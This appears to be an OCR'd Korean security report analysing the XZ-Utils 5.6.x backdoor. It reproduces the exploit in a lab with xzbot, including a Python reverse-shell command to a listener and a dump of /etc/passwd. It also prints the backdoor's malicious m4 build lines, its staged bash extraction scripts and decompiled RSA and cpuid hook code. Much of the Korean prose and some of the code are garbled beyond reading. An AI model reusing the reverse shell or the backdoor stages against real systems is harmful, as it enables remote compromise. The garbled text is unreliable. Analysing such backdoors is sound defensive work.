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0| &

ol s xf

Ok
Nh]
>

e
Ubuntu 22.04

XZ-Utils 5.6.1
(192.168.102.74)

Kali Linux
(192.168.219.129)

st ATEQ 0] HA
e ol7E A E XZ-Utils #7342 of-g3 2t
S/W 72 #o} wiH
XZ-Utils 5.6.0, 5.6.1
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B Y EHAE

Step 1. &4 +4
2 =52 Y FHokst HAS XZ-utils 5.6.1 2] AAFEE debian 9 salsa oA &918 4= QI
« URL:https://salsa.debian.org/debian/xz—utils/—/tree/46¢cb28adbbfb8f50a10704c1b86{107d077878¢6

Aolel] EAcks A1 A8 CIFE o T o AWPH gd 3A% =4 @ 4
gonz gold FAz AR HoFHS HAER 4 U xwbot & EH

« URL: https://github.com/amlweems/xzbot

9 gas E5] th2Hke XZ-utils 5.6.1 ©E & sr¢/liblzma/ libs/ 7 2] liblzma.so.5.6.1 o]
AET sig Y-S xzbot o ATHEE & dole] FAA ATl sfdsteE 3HE
ol Wo|7t ZESHEE HjA]ettt. xzbot @] patch.py A8 AWE A= offiet L.

$ python3 patch.py src/liblzma/.libs/liblzma.so.5.6.1

Step 2. FI°FH HXAE

sz 7} &= liblzma.so.5.6.1 TF¥-S liblzma.so.5 & 53 & & Jes M2 AHEY HAE
ARt} o] FAA PC oA xzbot & &858 ¥4 TS AU ASAE ssh HE a4
HUj wieoj7h A3yE et

T AZ PC Q] Reverse Shell 2 A= xzbot A3 AWMEL: &t 7t

$ /main -addr 192.168.102.74 -cmd ’ python -C 'import
socket,subprocess,o;s=socket.socket(socket. AF_INET,socket. SOCK_STREAM);s.connect(("192.168.216.29",7777));0s.du
p2(s.fileno(),0);0s.dup2(s.fileno(),1);0s.dup2(s.fileno(),2);p =subproces.call(["/bin/sh","-i"]);"

~fxzhot
168.182.74

19 3, Reverse Shell 92 23 AWE
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I
listening on [

connect to [19
# cat Setc/passwd
root: !@:root:/root:/usr/bin/zsh
daemon 1:1:daemon: fusr/sbin:/usr/sbin/nologin
bin:x :bin:/bin: fusr/sbin/nologin
SY5:1X :sys:/dev:/usr/sbin/nologin
1% 4. Reverse Shell 944 &9l
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Step 1. ¥1E FE B

1%

LAAE= XZ-utils AAFTE Yo HWEoE Au AWM AIJHEE ES  liblzmas.so

gtojEzizlo] Wiro] I=F AYstes F

1) build-to—host.m4

22 Z2AAQ m4 Y-S configure.ac Y-S configure shell AFHER vlt=t] Z-8-H}
build—to-hostm4 = Qe A2 7te] 584 AAS Sdeke G4 mdolxm, FAAE S
o] JRE HAG IAHIEE EPLERE FEYH. Y widEsE AEH A4 oo
AC_DEFUN(gl BUILD TO_HOST _INIT)®] FE=7} Wz AsPEc),

dnl Some initializations for gl BUILD TO HOST.

[AC_DEFUN([gl BUILD_TO_HOST_INIT],|

[

dnl Search for Automake-defined pkg* macros, in the order
dnl listed in the Automake 1.10a+ documentation.
|gl_am_configmake=”grep -akrls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2)/devfnu11ﬂ
if test -n "$gl am configmake"”; then
HAVE_PKG_CONFIGMAKE=1
else
HAVE PKG_CONFIGMAKE=@©
fi

gl sed double backslashes="s/\\/\\\\/g'
gl sed escape doublequotes='s/"/\\"/g’

gl_path_map="tr "\t \-_" " \t_\-"'|

changequote(, )dnl

gl sed escape_for_make 1="s,\\([ \"& ;<\ TV, AL, g”

changequote([,])dnl

gl sed escape for _make 2="s,\$,\\$%,g"
dnl Find out how to remove carriage returns from output. Solaris /fusr/ucb/tr
dnl does not understand '\r'.
case “echo r | tr -d "\r'" in
"'y gl _tr_cr="\015" ;;
®) gl tr cr="\r' ;;

esac

19 5. AC_DEFUN(gl_BUILD_TO_HOST_INIT) Z&
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AAFE Y $gl_am_configmake 2 AHH grep -—aFrls "#H{4[[alnum:1{5H#{41$" $sredir/
2>/dev/null o] AP ofzfje} Fo] bad—3-corrupt_lzma2.xz & ZHA| Hr}.

1% 6. AC_DEFUN(gl_BUILD_TO_HOST_INIT) ZE W grep 8% A3 A}

Al tiAre]  Wt(Horizontal

T3t $el_path_ map &2 AAH tr “WeW-_" “ Wt W-" 7} A=A
218kt $gl_am_configmake <}

Tab) < Space, —(Hyphen) < _(Underscore)?} A=
$gl_path_map = th53} o] AAFE oA APt

if test "x$gl am configmake™ 1= "x"; then

[g1 [$1] config="sed \"r\n\" $gl _am configmake | eval $gl path map | $gl [$1] prefix -d 2>/dev/null’|
else

gl [$1] config=""
fi

9 7. AC_DEFUN(gl_BUILD_TO_HOST) ZE Y g Ay ATHE

2) bad-3-corrupt_lzma2.xz
bad-3-corrupt_lzma2.xz ML FAA ] ol ®xEo] k= SfA7t HA gerh 1y 9
NS S0l wAgEe] AeEH FdAow FFol YA o3 22 bash shell ~AZHE(0]5}

Stage1)7F UERHA] HT,

19 8. bad—-3-corrupt_lzma2.xz TS F3 AFAH bash shell 2FHE
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3) Stagel — 914 bash shell A3 HE F&

A2 Stagel o] AFEHA Linux 8312 AAFE APeet. o] Stagel 2 A= dol7})
A, good-large_compressed.lzma & A8ttt &g o2 HAHQ] XZ Jﬂr‘“ Falolgt =
SHAI7E ZHeshh, o WiRole AMESHAl S ElolE7t e EAIRI. whebd EaskA] o
Fiea AAS B4 = F55te o] asit, sid 2 ot Zol olFo{zin.

+1024 >/dev/null) && head -c +2048 && (head
(head -c +1024 >/dev/null) && head -c +2048
+2048 && (head -c +1@24 >/dev/null) && head
head -c +2048 && (head -c +10824 >/dev/null)

export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1©24 >/dev/
null) & head -c +2048 & (head -c +1824 >/dev/null) && head -c +2@48 && (head -c

-Cc #1024 >/dev/null) && head -c +2048 &&
&& (head -c +1024 >/dev/null) && head -c
-c +2048 && (head -c +1@24 >/dev/null) &R
&& head -c +2048 && (head -c +1824 >/dev/

null) &% head -c +2048 &% (head -c +1@24 >/dev/null) && head -c +2@48 && (head -c
+1024 >/dev/null) && head -c +2848 && (head -c +1824 >/dev/null) && head -c +2048 &&
(head -c +1024 »>/dev/null) && head -c +2048 && (head -c +1824 »>/dev/null) && head -c
+2048 && (head -c +1824 >/dev/null) && head -c +939)"; @ @ @
(M(xz -dc $srcdir/tests/files/good-large compressed.lzmd|feval §il|ffail -c +31233"EE
"\114-4321\322-\377\35-\47\14-\34\0-\13\50-\113" "\@-\377"]) |xz -F raw --lzmal -dc|/

bin/sh
sHEWor | ditHH
% 9. Stagel bash shell 2T HE AP &4
@ tests/files/good—large_compressed.lzma TL-& 4= A ST
o] @] good-large compressed.lzma WIS A XZ 1t Aozt HE Ibg glo]
I
@ $i T head YHOIE Ed| 1024 bytes & FASIL 2048 bytes & 2o 1AL
grEstoh, upx]dl dlojE& 2048 bytes Eth &7 939 bytes 7} @Al =t siE bytes =

F7tel Eeft

298 A FESH dlolelE= F2] 31233 bytes T @lo]2r},

3 ¥ AL AX folge BEAE 27 thE H9R gt dg 34e AX 1
AHE-gE o] A H T

U 5
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1 A3}, ® o2 bash shell /\ElzlEf(o]O} Stage2)7} AzE=2 Yo Hr

3 10. Stagel bash shell 2 HEE 53] A bash shell 2THE

Stage? lem.mﬂ_iﬂaEt T2 34 2 i@ﬁ Arto| AEEo] Qth o]oE oA
Object W F&, §4 £2AFE 4L Fath. 23 HE+ Ao o] GCC AR off 2
AAYEA AR BA o EA oF S Arele €3 3 384 AAE Rt
HEAQ] AA= ofel Fo] MEof7} geE F7Shk=dl Halt IFUNC(ndirect Function)’
752 @A 20lA ARESEAl HARMH.

if | grep -gs "\["HAVE_FUNC ATTRIBUTE IFUNC"\]=" 1"' config.status > /dev/null 2>&1;
then

exit @

% 11. Stage2 bash shell AT HE F [FUNC 7% A o5 AASIE ZE

> IFUNC(Indirect Function): 218 A AH oA ]

)

4 Fae A9 £ A7 siF= GNUC olHeg] 7%
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o,
i

ot Object T FE9 A¢ dH 5ol good-large compressed.lzma T ZEHE

=AA Qe Btolve] ZEE %%@E}. ot Object A& FEoh= A2 o= 2t

xz -dc $top_srcdir/tests/files/$p || (1)
eval %1 |(:)
LC_ALL=C sed "s/\(.\)/\1\n/g" |
LC_ALL=C awk 'BEGIN{
F5="\n";
R5="\n";
ORS="";
m=256;
for{i=8;im;i++){
tsprintf{"=Hc",1)]=1;c[i]=((1*7)+5)%m;
}
i=6;
j=8;
for(l=8;1<8152;1++){ (:)
i={i+1)¥m;a=c[i];j=(J+a)am;c[i]=c[]];c[]i]=a;
¥

H
v=t["x" (MNF<1?RS:%$1)];
i={i+1)¥m;a=c[1i];
j=(Jj+a)¥m;b=c[]];
c[i]=bjc[j]=a;
k=c[{a+b)%m];
printf "%c", (v+k)Em}" |
¥z -dc --single-stream
{(head -c +3N > fdev/null 2:8&1) && head -c +$W) » liblzma_la-crcéd-fast.o || true (:)

19 12. Stage2 Object 3+¥ & bash shell 2T HE A3 &A

o}

g0l 4%

@ good-large_compressed.lzma T+
@ $ierE o8 HolHE FE3.

® XOR ol ohd ta712 AFgate $4F RC4 48 ATSE olgald e Besia
@ Az U=S 31 EA offset & liblzma la—crc64-fast.o 2= Object TtL 2 A3t

1o

o,

fto
gl

1 Ad, 24 Object mPo] F&Ho] libs/liblzma_la—crc64-fast.o Tdo] AHAHCLH o]%
47 (linking)3h= oA S Object TFA Q] ST =7} 4FQl =t
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T 49l AL cre64 fast.c @b cre32 fast.c ZEE FAST i crc64 fast.c 9
=

=
AFEE $ASHE A A FAA= WEo]9] entry code & 715t

V="#endif\n#if defined(CRC32_GENERIC) && defined(CRCE4_GEMERIC) && defined
(CRC_X86_CLMUL) &% defined(CRC_USE_IFUNC) && defined(PIC) && (defined
(BUILDING CRC64 CLMULY) || defined(BUILDING CRC32_CLMUL))\nextern int _get cpuid
(int, wvoid*, woid*, void*, wvoid*, void*);‘nstatic inline bool

_is arch_extension_ supported({void) { int success = 1; uint32 t r[4]; success =
_get_cpuid(l, &r[8], &r[1], &r[2], &r[3], ((char*) _ builtin frame address(@))-16);
const uint32 © ecx mask = (1 << 1) | (1 << 2) | (1 << 19); return success && (r

[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported
is_arch_extension_supported’
eval $yosh

if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported
()" $top_srcdir/src/liblzma/check/crced fast.c | A

sed "/include V'crc_x86 clmul.h\"/a WSV | N

sed "11i # @ \"$top_srcdir/src/liblzma/check/crcpd_fast.c\"" 2>/dev/null | \

$CC SDEFS $DEFAULT INCLUDES $INCLUDES %$1iblzma la CPPFLAGS $CPPFLAGS $AM CFLAGS
$CFLAGS -r liblzma la-crced-fast.o -x ¢ - $P -o .libs/liblzma la-crced fast.o 23/
dev/null; then

cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true

eval $BPep

if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported
()" $top_srcdir/src/liblzma/check/crc32 fast.c | A

sed "/include \"crc32_arm8d. h\"/Sa WAEVT | A

sed "11i # @ \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \

$CC SDEFS $DEFAULT INCLUDES $INCLUDES %$1iblzma la CPPFLAGS $CPPFLAGS $AM CFLAGS
$CFLAGS -r -x c - §P -o .libs/liblzma la-crc32 fast.o; then

eval $RgYB

% 13. Stage2 £AAFE 474 bash shell 2IHE

Stage?2 AAYE A15Y = 7)& crc32 fast.c, crc64 fast.c AT EOA
is_arch_extension supported() €<= _is arch extension supported() &= HFATH

crc64 fast.ce] ¥ h4 s arch extension supported()= 530 A liblzma la—crc64-fast.o
o A = get cpuid0E TE39HCH
Stage2 ¢ o5 2AIdYHEE 3 sheg 2w
C mA(crc32_fast.c, crcbd fast.o)e AT 5 Ut} o232 creb4_fast.c & A= Stage?

~FYE FT REo|)

sed "/return is_arch_extension_supported()/ cWreturn _is_arch_extension_supported()"
src/liblzma/check/crc64 fast.c | W

sed "/include W"crc64_arm64.hW"/a WWSV" | W
sed "1i # 0 W"src/liblzma/check/crc32_fast.c"" 2>/dev/null

EQST insight | 12



Slo
pi

sl Aol 7120 FEE MEd A3 bt Zol 94 wol wAHE 2

filo
J

ok

>
30,
)

typedef uintb4d_t (+crcBbd_func_type)(
const uint8_t *buf, size_t size, uintb4_t crc):

#if defined({CRC_USE_IFUNC) && defined( clang )
# pragma GCC diagnostic push

# pragma GCC diagnostic ignored "-Wunused-function”
Hendif

lzma_resolver_attributes
static crcBd_func_tvpe
crebd_resolve(void)
{
return is_arch_extension_supported()
T &crcbd_arch_optimized | &crcbd_generic,

]

#if defined(CRC_USE_IFUNC) && defined( clang )
# pragma GCC diagnostic pop
Hendif

typedef uint64_t (*crcbd_func_twpe)(
const uint3_t =buf, size_t size, uintB4_t crc);

#if defined(CRC_USE_IFUNC) && defined(__clang__)

# pragma GCC diagnostic push
i pragma GCC diagnostic lgnored "-Wunused-function”
endif

lzma_resolver_attributes
static crebd_func_type
~re6d resolvelvoid)

{
return _is_arch_extension_supported()

T oacrobd_arch_optimized  dcrcobd_generic,

i f defined{CRC_USE_IFUNC) &% defined(__clang__)
it pragma GCC diagnostic pop
endif

19 14. cre64_fast.c A Hl, £78 AESD, 78 Tk
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Step 2. ¥folvg| Z& 24
ssh Hl29] sshd &= A= i, Dynamic linker & %3] liblzma5.so #to]E S S}t o] mj
G}ET]OZI 7]‘—% 7&'%]6‘]—_]_’_ O] ] Eﬂ-L _,JZ—]_@% ’5‘ ?_O:]O ﬁ]_;_ﬂla‘l_ [FUNC 7"1__0 o]__Q_OH

MEols et

1) _get_cpuid

71 XZ-utils o= dolge] CRC(Cyclic Redundancy Check) ¢ & AXIoH=H] AlgEHE=
lzma_crc32 ¢} lzma_crc64 7} &A%t = g4 5% GNU C ZolEde] 7|5olA AFsh=
IFUNC §3°2& ELF AZ dolgo] A#o] H+d, IFUNC 7]%2 ARESHH Dynamic link

AN LAt FE FHOR AT 4 Ak IolA] AFF cre6d faste 22T Wiz
9 lzma crebd FHTF 9T AL B S 9len ofF F5old [FUNC 7|1%e &g
crc6d resolve TF4E 771 AL 3Felsh 4= 9ot

Hifdeft CRC_USE [FUNC

extern L7MA_API(uintb4_t)

lzma_crc6d4{const uint8 t *buf, size t size, uintbd t crc)
__attribute_ ((_ _ifunc__ ("crchbd_resolwve")) ),

felse

19 15. crc64_resolve {45 718]7]= Izma_crc64 &5

crc64 resolve g s o=z EAotn 4AowW oy xH™o| JEHE(nterrupt)E YA AOF
gttt o el A HiolEE 0xCC 2 iAo &%= oA Interrupt %—%@NﬂQ.
72 AR = A = o] 3kl 0x55 & Be] o]F 2 of thel tjH 7]

At

8 CRC(Cyclic Redundancy Check): &3 55 HARRIIE o9, dolelE A5 uf ALH doleo] 77t AE=XE &sty] e
A2 e ARG 1WA
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rsp
-1aa
-8fa
-afe
-Bed
-Bed
-8ada
-ade

7fffffffelas 0— mov ril,
x7fffffffelba 0— "flib/x86 64-linux-gnuflibc.s0.6

X7 fffffffelbs -0 ex7ffff7f7deed 01— 8x3818182464c4571
x7fffffffelca

X7fffffffelcd -0 ex7fffffffe288 -0 ex7fffffffe37e [- 1

x7fffffffelds -0 0— exeffffffc
X7fffffffelds 01— @

x7fffffffeled 01— B

e I e e e e I e e e

@x7 71345381

@x7ffff7fd4a98 dl relocate object+3376
@x7ffff7fd4a98 dl relocate object+3376
@x7ffff7fd4a98@ dl relocate object+3376
@x7fff7fe6abtd dl main+8579
Bx7ffff7fe283c dl sysdep start+1828
Bx7ffff7fed598 dl start+1384
@x7ffff7fed4598 dl start+1384

in 2?2 .:::.
: in elf machine_rela ( =<optimized out>,
=<optimized out>», —BY?FFFF?f?EBCS _ax?FFFF?Fsaifa =@x7ffff7fbbB348,
1323
#2 elf dynamic_do Rela ( =<optimized out>, =<optimized out>,
=<optimized out>, =<optimized out>, =<optimized out>, =@x7ffff7fbbada)
#3 dl relocate object ( =@x7ffff7fbb4dda, =<optimized out>,
=<optimized out>, =@) at 1288
in dl main =<optimized out>, =<pptimized out>,
=<optimized out>) at 12441
i 1 sysdep start ( =@x7fffff
=Bx7ffff7fed8ed <dl_| ma1n> 1256
in _dl start _final ( =@x7fffffffevog) at 1587
=ax7fffffffevee) at 1506
in _start () from
in 2?2 ()
in 27
in 22 ()
in 22 ()
in 22 ()
vmmap @x7ff{f7f84584
LEGEND: STACK RlWX RODATA
Start End Perm 5ize Offset File
Bx7ffff7f7doas Bx7ffff7f31888 r--p 4888 @ frootf/liblzma.so.

@x7ffff7faaoo0 @x7ffff7fb8eed r--p eggd 2deee Sroot/liblzma.so.5

19 16. crc64_resolve

ghH, XZ-utils oﬂ/\i 347‘45}3 AolA= A FQ1 Z2=AIAE AARSHE 715l E&asith o=
ole} FAKRE o] F<]

0}7ﬂ W=, crc64_resolve
e # 14101] get_cpuid 9, vl2 77} AT E A
kL
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Frce4 func_type _ fastcall crced resolve()

int cpuid; // r&d

crced_func_type result; // rax

char v2[4]; // [rsp [rbp-2@h] BYREF
char v3[4]; sp [rbp-1Ch] BYREF

int va; //

[ bp-18h] BYREF
char v5[4];

[ :,|:+Ifh] [rbp-14h] BYREF

char v6[8]; // [rsp+leh] [rbp-18h] BYREF
unsigned _ inte4 v7; // [rsp+l8h] [rbp-8h]
v7 =  readfsgword(@x25u);
[cpuid = get cpuid{lu, { inted)w2, ( inted)v3, ( inted)&vd, ( int64)v5, { int64)ve);// same as: get cpuid]
result = crch4_generic;
if ( cpuid 88 (v4 & Bx802082) -- 524882 )

result = crce4_arch_optimized;
if ( w7 != _ readfsqwerd(®@x28u) )

(Bx75FELL);

return result;

a9 17. 9=

it

A AAQ _get_cpuid TF

o]F get cpuid oA 7IeEHE Flet=d, MeEV 1 d ALt GOT(Global Offset
Table)’3+4 W7 22191 sub_4D04 2 Foj7ict,

| inte4 _ fastcall sub_4c98{unsigned int al, _DWORD *al)
1
unsigned int v3; // [rsp+ld4h] [rbp-4Ch] BYREF
char v4[4]; // [rsp+l8h] [rbp-48h] BYREF
char v5[4]; // [rsp+lCh] [rbp-44h] BYREF
__int64 v6[8]; // [rsp+28h] [rbp-4@h] BYREF

if (|dword_3D@le == 1]) !/ check counter is 1 or not

1

va[e] = 1Li;
memset (&vE » By 323
vB[5] = { WntbB4lal2;
[sub_4De4(ve, =2);|
¥
+Hdword 30816;
cpuid{al, &3, w4, v5, vE);
return v3;

13 18. dword_3C010 7ISE 39l & Lol 3

e

7 GOT(Global Offset Table): 9% Z2AAHE 3&T 0 FZsh= HolE.
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ol% sub_4D04 WA StERFHE cpuid LIAE AHEE] GOT F4
A HRelM cpuid EAEE A= olF HIieojE cpuid ERIEE
s vbA A cpuid & TESHE AAE HERICH

| intB4 _ fastcall sub_4D@4( QWORD *azl, _DWORD *a2)

rE o
o,
=2
H
<
2
U
)
b
e,

\ |
_DWORD *w23 f/ ra
__ipte4 result; // rax
bool w4; // zf
_DWORD *vw5; // rdx
__inte4 wve; // rl2
_QWORD *v7; // [rsp+8h] [rbp-28h]
all[4] = al;

sub_2572@(=1, a2);
al[5] = al[2];

result = *al - al[4];

al[l] = result;

vid = *(( QWORD *)&unk_2F288 + 1) + result == @;// cpuld ptr GOT

wS = ( DWORD *Y(*({( QWORD *)&unk 2F208 + 1) + result);

al[2] = v5;

if ( !wve )

{
/7 = w53
vB = *(_QWORD *)v5; I/ save offset
*(_QWORD *)vs = *((_QWORD *)Bunk_2F288 + 2) + result;// replace cpuid ptr with entrypoint
result = cpuid({unsigned int)al, a2, v5, &unk 2F288, v2);// call backdoor
E e E————

return result;

a3 19. cpuid EIHE AAS Hzo] T&

EQST insight | 17



o WMol f Ay 222 ohgit Aok 94, sub_12950 HE TES Wo] yolx &8
4 3F HolES ST oF sub 2250 g WellA] Mo x7]8F 1g-g AT

lzma check init(&check, LZMA CHECK NONE);:
|v6 = sub_12958(v28); // table initialize func]|

= al;
Ireturn sub_ 22Fs@(v21); // main function for backdoor initializﬂ

v28[6] = vB;

39 20, 529 Wxol f HA =27

sub_12950 & ®iro] 9k TEF HolE Wele % AX, RSA_public_decrypt 7,
EVP PKEY setl RSA hook, RSA getO key hook & o7 I4LE SEIHE HolES
e iy

int64 _ fastcall sub_1295&8( QWORD *al)

t
__inte4 result; // rax
result = SLL;

if ( a1 )

I

al[7] = &gqword_3Dels;
result = @LL;

if ( !si[e] )

{

a1[13] = 4LL;
al[B] = sub_B348@; // install hooks
31[9] = sub 1711@; // RSA public decrypt_hook
a1[18] = sub_16678; // EVWP_PKEY_setl RSA hook
21[11] = sub_24A68; // RSA_getB_key_hook
31[14] = sub_7ECE;
al[15] = sub_BD38;
return 181LL;
¥
h

return result;

}

a9 21. ko] 34 T F HolE 74 23

sub_22f50 grE WHet Z== ELF mtd 29 siAES Fdf g i bHe g9
Ty, Wofo M AMEShE sshd &4 &<l 75, HE di4 71, Symbind 7 7150l ¢

gro] ZetE]of .
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e
o]% =222 Id-linux(Dynamic linker)E IHd(Parsing)sll o] oigh thFst HHE FEotL
Mozl Ad FQl ZRZAAZE Jusr/bin/sshd €12 I]1 A AQX|7F Qe RIS
argu[OO1 WA AL Ol8L FEH BASIT B3 Whsl 54 BAANA AN, B
Z2A|A7F sshd 7F ofH ety wWiko] Adfs FastH, 2 W47 B4 Y A9k ko=
FTaHET 4 A% 92 St= id 42 yolAbejyiejuvnup=Evjtgvsh5okmkAvj T,

if (w4 ) // argv @
{
if ( (unsigned _ inte4)(v4 - (unsigned _ intd *)a2) <= @x4008 )
{
v5 = sub_26328(v4, BLL); // Current Process name
s6 = 1LL;
if ( w5 == 264 ) // Is process name fusr/shin/sshd?
while ( 1 )
v7 = v6 == v3;
VB = v6 + 1;
if (w7 )
break;
vd = *{char **)}&a2[8 * wi];
if ( a2 »=v9 || w9 || (unsigned __int64){vD - a2) > ©x4008 || sub_131FB(*(unsigned _ intle *juw9) )
return BLL;
}
if ( !'*(_QWORD *)&a2[8 * wi] )
1
v1® = (unsigned _ int8 **}&a2[8 * vB + B];
while ( 1 )
11 = *v18;
if ( !*vie
break;
if { a2 >= {char *)vil || {unsigned _ inte4)(vil - (unsigned _ int8 *)az) > Ox1000 )
v15[@] = BLL;
w12 = sub_228A@(al, v15, 1LL);
if ( !vi2 || (unsigned _ inte4) (w1l + 44) > v12 + v15[@] || (unsigned _ intea)wll < wi2 )
break;
1
if ( (unsigned int}sub_26328(*vle, @LL) )// Checking env variable
break;
if ( !*+vie )
return I1LL;
}
}
i

a9 22. Wixo] A3 33 AA

4) Symbol Resolver

W09 Resolver &4+= HE A S
&9 "Rk g2 Elfe4 Sym FxAo] JH=Z ofd FxAo FARAES F&S
TA5HA

f

ZoA EA 7] e AT Qe AES zr}
uy

v72 = [sub 7eea(vzi4, 2392LL, BLL); /f Symbol resclve tunction]
w73 = ([ inted)v2ld4; /f libcrypto base address
if (v72)

{

w74 =|*{ QWORD

*(_QWORD *) (v

b

39 23. liberypto library 258 £ 7|18 717 AES ZE 27
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5) Symbind ¥
Mrojl st 378 S8ty YafA] redl-audic olEe 7%

OMIEZ} 7] oA A A2 A E BtelE el E Sl

@ o TP e 5 S S
1ol rdl-audit Wrdel Wl Bg eloluelE s okt Peto] Aurzolu,
° e o] 3

ol vl e ofn] 55
sz,

Aejo]2of dis e HAE 4

3|
8l Symbol resolving F¥-&

ol T o] Symbol resolve T o|F ¥HEA o2 715 AlLjit),
/1% = sub_26328(a&, BLL);

w1l QWORD *)w7[3]; S/ RSA public decrypt GOT address
[if { V1o == 464 && V11 ) //_Is RSA_public_decrypt symbol resolved?] (1)
{
if { *v11l » BxFFFFFFuULL )
1
*y7 = *wll;
v12 = *( QWORD *)(v6 + 272);
*yll = v12;
if ( al * (unsigned _ int&4)retaddr && al < v9 )
*(_QWORD *)(al + B) = vl12;
}
goto LABEL 27,
}
v13 = ( QWORD *)w7[4]; // _ENV _PKEY setl RSA
|if ( v13 && vio == 1296 ) // Hook the ENV PKEY setl RSA| @

if { *vl3 <= @xFFFFFFuLL )
goto LABEL_Q?;

'[1] = *vl13;

= *( E-CRE "y(ve + 288);

1% ( : ; Eunsigned __inte4)retaddr && al < w9 )
*(_Q.-.:Rt -=;|(a'_ +8) = vi4;

V1S = (_Q DR

if !.;5 J

thD LABEL_27;
w16 = *v15 <= @xFFFFFFuLL;

}

else [/ I not

{
= { OWORD *jv7[57;

|1f /18 1= 1944 || 1vi7 ) // took the RSA geté key] (3)
return *(_QWORD *}(al + 8);

if { *v17 <= BxFFFFFFULL )
goto LABEL 273

_[2] = '-"J

v18 = *(_QWORD *)(v6 + 288);

*y17 =

if ( a_-;UEunJlgned int6d)retaddr && al < vd )
39 24, WEo] U HEACE 578 Amste 24

@ #z &7] A9l RSA_public_decrypt SH-g A
%

@ RSA public_decrypt ©] symbol resolve EZ| &UTH ENV _PKEY setl RSA g8 37
A&

® 9 2E oA symbol resolve EA] LUTHH wizje o2 RSA get0_key 37 Ak
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Step 3. WEo] Ea]7 EH A B4
5ol o7 )

a*b+c 9 oz AA=C wroF & glo] 2 #H
ZapstoiE vl o] Als)e HErh WrolE EdASH=

felzl2 AEet SSH QA2 A2 o E=|AFH
A JHF2 dsst I Aol HoF gt 8% EYL a, b, ¢ Al
olo] A|AH] Wy

549 L2 ofefet Lt

A% HolzEl WeA
gom olgolzl F4ql
AR, A glol 3 2

a (32 bit) b (32 bit)

ciphertext (240 bytes)

c (64 bit)

a9 25, wWiro] ETA QZA 7|E TW

o= RSA_public_decrypt & FTF3l= S
ZitsH=] H@sHs 2A oA &

Yol F9 715 (sub_17390)94 a*b+c 7} 3 &

if ( !*{_DWORD *)&v11@[9] )
goto LABEL 206;

vld = *{ QWORD *)&v118[13] + *(unsigned int *)&118[9] * (unsigned
if { vid > 3 ) [P Ifa*h+cr» 32

__inte4)*(unsigned int *)&v11e[5];

goto LABEL_206;
w15 = *{ QWORD *}{a2 + 16);
if ( wvls )

if ( *(_QWORD *)(v15 + 16) )
if ( *(_QWORD *)(v15 + 24) )
if ( *(_QWORD *)(a2 + 48) )
?f ( *(_DWORD

v115 = *(_OWORD *)&118[5];
if ( (unsigned int)sub_24968(v1l6, a2) )

#)(a2 + 352) == 456 )

if ( (unsigned int)sub 129F@(v111, v12 - 16, w116, &v115, w11l

2 T( QWORD *)(a? + B)) )

a9 26.a,b, c3t 24 vu 23

Sl kS F(ciphertext)2

A 32 HiolE —E—

chacha?20 ¢s3s} g8
7|2 AMgS YE skt
22 th-gof YAst sub 24960 &

Z|Rro 2 Ed448 74
OHT:]- o‘l-_—@ﬂ_ o]-_]—iaz_g /\]-_9_—5—

4= W sub_129f0 @<EoflA] <<l

71 9]
a, b, ¢ =
7}-s5ttt.

L H Yo

T

if ( {unsigned int)sub_129F8{v9, 43LL, v9,
return (unsigned int)sub 129F@(a2 + 264,

57LL, w11, w12, al,

vle, vll, w3) }// chacha2® decryption
*( QWORD *)(a2 + 8)) != 85

e

return ALL;

1% 27. chacha20 ¢535} &e|& AMg 23]
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2024 & 52l dA7A] g A A9 7= th2a 2Lt
0a 31 fd 3b 2f 1f 6 92 92 68 32 52 8 c1 ac 28 34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48

ASAe 2= 2w (ciphertext) ZH2 ofgfje}

signature (114 bytes)

x (1 bit) unknown (14 bit) y (1 bit)

unknown (8 bit) unknown (8 bit)

unknown (8 bit) command #x00

a9 28. WMo EFA IFA HEE 2R

O

An FES AAY AE AHge Fol

)

o|% otefie] Ed448 M-S Hlske dE
T/ ol A=Al selett
viB = sub_14E98 verlty _eadddd signature

*(_QWORD *)(*( QWORD *)(*{ QWORD *)(a2 + 48)

+ 8LL)
+ 8 * y23),

(unsigned int)&w182,

(int)vol + 4,

64,

(unsigned int)wlll,

(_DWORD)vo94,// ed448 public key

a2);
v28 = va97 + 1;

¥
while { !v3@ );

19 29. Ed448 XF AZF 234
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olEet A= BT FHRIHH, Mol off9] system()

o,
ol
filo
>
i)
S
q

if ¢ *((_BYTE *)v53 + v72

)

(*(wvoid (**)(void))(*( QWORD *)(aZ + 16) + 48LL))();// system();

goto LABEL 199;

a9 30. 99 99 4 =4
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which xz
XZ --version

a9 31 Wzoj7t M HA] & XZ-Utils WA B oAl

2024 ¢ 59 V|Eo g wrolrl AAE XZ-Utils 5.6.0 & 5.6.1 H{HAE AHg 59 S, XZ-
Utils ¢ HHE o2 o]= sffof it 5 58.0 HAo] &4 dAo|ln=z sy Hd EA
o|Fol= F4 HHoR daro|l=E Y As EHIH

« URL: https://tukaani.org/xz—backdoor/

AT EZ 0] oXx] HE HHE

XZ-utils 5.4.6

Zamh SSH o] 428 4 s A4sAY o8
O
=
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https://tukaani.org/xz-backdoor/

m 31 AJO|E

+ Oss—security Mailing list (https://www.openwall.com/lists/oss—security/2024/03/29/4)

+ So you're interested in being an open source maintainer(https://dev.to/opensauced/so—youre—interested—
in—being—an—open-source-maintainer—5bb2)

+ Xz-timeline (https://research.swtch.com/xz—timeline)

+ What we know about the xz utils backdoor that almost infected the world
(https://arstechnica.com/security/2024/04/what—we—know—about—the—xz-utils—backdoor—that—almost—
infected—the—world/)

+ analysis—of—the—xz—utils—backdoor—code (https://medium.com/@knownsec404team/analysis—of—the-
xz—utils—backdoor—code-d2d5316ac43f/)

+ XZ backdoor story — Initial analysis (https://securelist.com/xz—backdoor—story—part—1/112354/)

« xzbot (https://github.com/amlweems/xzbot)

+ XZ Utils Backdoor - Advisory for Mitigation and Response (https://www.sygnia.co/threat—reports—
and—advisories/xz—utils—backdoor—advisory—for—mitigation—and-response/)

+ XZ Utils Backdoor (https://tukaani.org/xz—backdoor/)
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